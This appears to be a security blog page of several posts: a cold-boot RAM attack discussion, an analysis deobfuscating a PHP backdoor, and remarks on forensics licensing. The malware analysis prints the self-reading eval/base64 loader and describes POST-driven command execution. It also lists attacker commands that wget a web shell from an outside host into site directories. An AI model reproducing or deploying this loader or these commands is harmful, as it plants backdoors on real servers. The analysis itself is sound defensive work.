First though, a [paraphrased] summary of the discussion thus far:

Dan F: Why not extend the ISA of the CPU to offload crypto operations to an ASIC or a special part of the CPU? To avoid slowing down the CPU you’d need to widen the issue and decode/dispatch or add another word if it’s VLIW. Op fusion might come to your rescue in a future ISA, too.

Mike P: Good thing MacBooks get nice and hot . Why not add a register for the encryption key that gets wiped with the last bit of power in the CPU?

Me: Can’t we just encrypt all of RAM too? Lots of consumer computers have TPMs with crypto-coprocessors already. Wait a minute, we’d need to shove one on the same bus as the RAM and CPU and where would we store those keys? D’oh! Oh and Dan F, IBM beat you to it.

Dan F: I wonder what affect this has on power consumption and overall throughput?

Computer forensics people have been getting physical memory dumps for years and what about malicious root-owned processes? The threat has always been there. Hasn’t anyone been aware of the threats and developed any countermeasures?

I picked up the Secure Programming Cookbook to look for answers. Here are excerpts from recipes I found that might be applicable to this debate. Since Ed’s code reads through memory and tries to pick out things that looks like keys, maybe you can obfuscate them to look like something else?

DISCLAIMER: I’ve never dumped the contents of memory and inspected it, I’ve never written crypto that handled keys securely, I didn’t test any of these countermeasures, and so on. This is all baseless conjecture.

Recipe 4.13 – Managing Key Material Securely
Securely erase keys are soon as you have finished using them. Use the spc_memzero function from Recipe 13.2 or SecureZeroMemory() if you’re using a new version of Windows.

Recipe 12.4 – Performing Bit and Byte Obfuscation
Use the Obcode library by Pawel Krawcykz. The size of variables are inflated eightfold and the library provides many standard byte and integer operations.

Recipe 12.6 – Merging Scalar Variables
Problem: Scalar variables with constant or initialized values disclose information about ranges of values.
Solution: Merge multiple scalar values into a single, larger scalar value to make simple, unrelated values appear to be a large value or bitfield.

Recipe 12.7 – Splitting Variables
Problem: Large scalar variables that cannot be merged, or that have large values that cannot easily be manipulated with a constant transform, need to be obfuscated.
Solution: You’ll have to buy the book, I can’t explain it .

Recipe 12.10 – Restructuring Arrays

• Split a one-dimensional array into multiple one-dimensional arrays
• Fold a one-dimensional array into a multi-dimensional array
• Flatten a multi-dimensional array into a single one-dimensional array
• Merge two one-dimensional arrays into a single one-dimensional array

Recipe 12.11 – Hiding Strings
See the book

I also read through all of the comments on Freedom to Tinker to look for potential solutions and bring them to light. Here are some of the more interesting comments I found:

Will Michaels said, “Full Disk Encrypting (FDE) hard drives perform the encryption in hardware directly on the hard drive, using a key that never leaves the drive. Such FDE drives are protected against this attack on off-drive encryption.”

Laszlo Hars said, “…However, it has been recommended for ages that encryption keys are never stored in RAM. They have to stay in a locked part of the processor cache. It was not because of the chilled-RAM effects, but because of virtual memory (swap file), or hibernation. The OS might write any info from RAM to disk, where an attacker can find it later. It is surprising that BitLocker does not follow this practice. TrueCrypt is known to be weak both in the choice of algorithms and their implementation (an example is their recent choice to implement the IEEE P1619 encryption standard meant for completely different type of applications)….”

Brad Templeton said, “Sorry, Ed, I’ve been hearing about this technique since the 90s. It’s not new. Rumor is that spooks have been using it for some time. Here’s an old message board thread a quick Google search found.

Laszlo Hars said, “The real issue revealed by the paper is not weaknesses in disk encryption software, but a cheap way to go around DRM, and code privacy. You run the protected code, like a DVD player or a game in one PC, freeze and move the RAM to another machine (can be the same one rebooted to DOS), where you can analyze the memory at your leisure. You can disassemble protected code, find media keys, etc. It is simpler and cheaper than using high speed, logic analyzers on memory lines.”

Justin Wells said, “…Even were the disk encryption key problem resolved somehow the attacker could still use this technique to recover data the user had thought was secure. Recovering the key simply allows the attacker to recover ALL the data, rather than only the data in RAM….”

and, “The “key stored in CPU” used to encrypt RAM, or used to encrypt the disk key stored in RAM, need be nothing more than some randomized values in a few registers that are then preserved. All access to the encrypted data would then make use of the randomized values. The randomized memory encryption key stored in the CPU can be recreated on every boot of the system–there is no need to preserve it over time. Its purpose is simply to make memory unreadable.”

Christopher said, “You’re right, some common platforms use a hardware assist to look in the page tables. IA-64 can turn off hardware assistance, so that a TLB miss raises an exception rather than turning to the page table-handling hardware, but the vanilla IA-32 needs its page tables loaded in memory, and as you point out, the TLB isn’t designed for recovering values stored in it.

Of course, if we’re talking about IA-64 or x86_64, we’ve got a lot of registers available to us, we might be able to hold four of them aside with a modified compiler, but that also assumes you can ensure these registers won’t get pushed to the stack on an interrupt request, or cleared by a context change.

OK, registers, TLB, cache. Is there anywhere else a person can find 256 bits of volatile storage on the die of a modern CPU? Hardware performance counters? You can read those, but I don’t know if you can write them, or turn off their updating.

Anonymous pointed out, “I saw something similar to this presented at Black Hat DC last year. Except they were semantically rebuilding the memory image to extract the TrueCrypt keys. link“

Todd said, “…Also no one has mentioned graphics card memory! OUCH! While there may not be tons of useful data there, it is conceivable that a illegitimate user could cull the image(s) of recent used documents….”

Andreas said, “Some processor architectures, like the SPARC architecture for example, provide general registers that are not saved onto the stack (e.g. %g1 to %g7 in case of SPARC) and support multiple register sets, including one exclusively for the operating system. On these architectures it would be feasible to keep the key permantly in registers which would never be copied into memory.”

Richard L. Enison claimed to have a patent on storing encryption keys in hardware. sigh.

You’re welcome for reading that entire thread for you, and yes, this is how I spend my weekends.

EDIT: I saw that Nate Lawson of Root Labs entered the discussion today with a post on his blog. He seems to agree with Dan F that adding crypto the processor is the best long term solution but he also suggests things FDE developers can do in the meantime.

This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.

You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.

PARTIAL CODE:

** Note, the original file has everything between <?php ?> tags on one line, and everything else on another. The below code is changed for readability.

<?php

$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=3024;

eval( gzuncompress( base64_decode(
'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO
g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG
6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc
z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8
wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq
w01Zam1xo8hNAgpRWB30PQ+ATAxF8l'
)));
return;
?>

ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N
n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7
H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm
Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ
......(skipping many bytes)......
Y9yT5MATh+TOXU8==

** Complete PHP file provided per request

OBFUSCATION TECHNIQUES USED:

(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)
(b) Insertion of NOP (no operation) statements such as:
$LINE_NUM = 1;
while(–$LINE_NUM) fgets($FILE_HANDLE,1024);
(c) Use of compacting, mapping functions such as:
strtr() or gzuncompress(base64_decode(“string”));
(d) Multiple rounds of obfuscation

DEOBFUSCATION:

The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing eval() with a print gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.

<?php

$FILE_NAME=__FILE__;    // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;     // It is "1". Explanation below
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);    // reads in the first line, advances the file pointer

$CODE=
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,368),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

//eval($CODE);
return;
?>

Explanation:

__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are fgets() commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).

(2) Second round of decryption.

We need to see what the value of $CODE is in cleartext. Once again, there is a “gzuncompress(base64_decode(” instruction which is passed the value of strtr() function (not to confuse with strstr()). The strtr() functions prototype is “string strtr(string $str, string $from, string $to)”. It returns a copy of “str”, translating all occurrences of each character in “from” to the corresponding character in “to”. So we have a mapping of some sort. Now comes the complicated part.

The $str is a string of 368 bytes from the original file. But, there are 2 fgets() statements that advance the file handle before the fread() can read in the 368 bytes. The first fgets() is not executed because in “while(–$LINE_NUM) fgets($FILE_HANDLE,1024);” the value of LINE_NUM is 1. The second fgets() statement,”fgets($FILE_HANDLE,4096)” is executed – it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.

We use those 368 bytes in “gzuncompress(base64_decode(strtr(fread(“ as the value for fread(). The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an ereg_replace() call.

<?php
$FILE_NAME=__FILE__;   // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;    // It is "1".
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);

if (!function_exists('gzuncompress')) die('');

$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));

fclose($FILE_HANDLE);
//eval($CODE2);
return;
?>

(3) Third round of decryption:

We now need to figure out the value of $CODE2. The ereg_replace() prototype is “string ereg_replace (string $pattern, string $replacement, string $string)”. It scans “string” for matches to “pattern” , then replaces the matched text with “replacement”. Right away we notice that “pattern” and “replacement” are the same thing. So this is another NOP operation. Again the focus is on “gzuncompress(base64_decode(strtr(”. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don’t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!

code_version1

(4) Fourth round of deobfuscation.

We finally have some useful PHP code. But part of it is still scrambled. There is another series of “gzinflate(base64_decode(” commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more “eval(gzinflate(base64_decode(” commands in the code. A python script like this solves the problem.

code_version2

SUMMARY

So what exactly does the code do?
(a) Executes a command passed in $_POST["I1llI1"]. Could be any system command.
(b) Its mothership is “hxxp://bessearches.info/virtual/gen.php”. Queries to our exploited server, such as “GET_php_virus?/phentermine/drug-phentermine.html” are satisfied by pulling actual information from the mothership and displaying it on exploited server.

What command were run on the infected machine?
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.

ls -lidpwd
find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php
find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print
cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php

So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.

FOLLOW UP

The mothership (hxxp://bessearches.info/virtual/gen.php) is still up. Simply entering this URL spits out an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.

ADDITIONS

[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks Schmoilito)

Unknown to many amateurs, computer forensics is extremely difficult and goes beyond simple technical problems. Have you ever heard of the Best Evidence Rule? Do you understand the rules surrounding Expert Witnesses in court? No? Then you shouldn’t be collecting evidence for use in a trial. Computer forensics is not as simple as picking up your favorite tools, whether it is standard like TCT or your own set of shell scripts, and applying them to your clients hard drive. Doing that is a perfect way to completely sabotage a trial and get yourself into serious legal problems (tampering with evidence).

Licensing computer forensics practitioners legitimizes and standards it into a profession. It allows others to recognize and respect us and to trust our ability to gather evidence. The problem lies in the execution. I’m not intimately familiar with PI licensing, however I’ve heard it requires things like years of training and a mandatory apprenticeship. I also don’t know specifically what activities these proposed laws restrict.

Ideally, we’d want a license that isn’t overly difficult or time-consuming (as learning computer forensics isn’t overly difficult or time-consuming) and one that doesn’t apply to situations that won’t end up in front of a jury at a later date. Congress should not be able to legislate what I do with my own or my friends machines. As long as those above topics are respected, I see licensing of professional computer forensic investigators as a positive move.

Someone prove me wrong.

Nasir Memon, the professor who oversees much of our lab, was quoted in the above article relating to Adobe’s decision to include forgery detection plugins with the next version of Photoshop. Among the areas of research currently ongoing in ISIS, multimedia forensics, watermarking, and stegonography are some of the top for PhDs.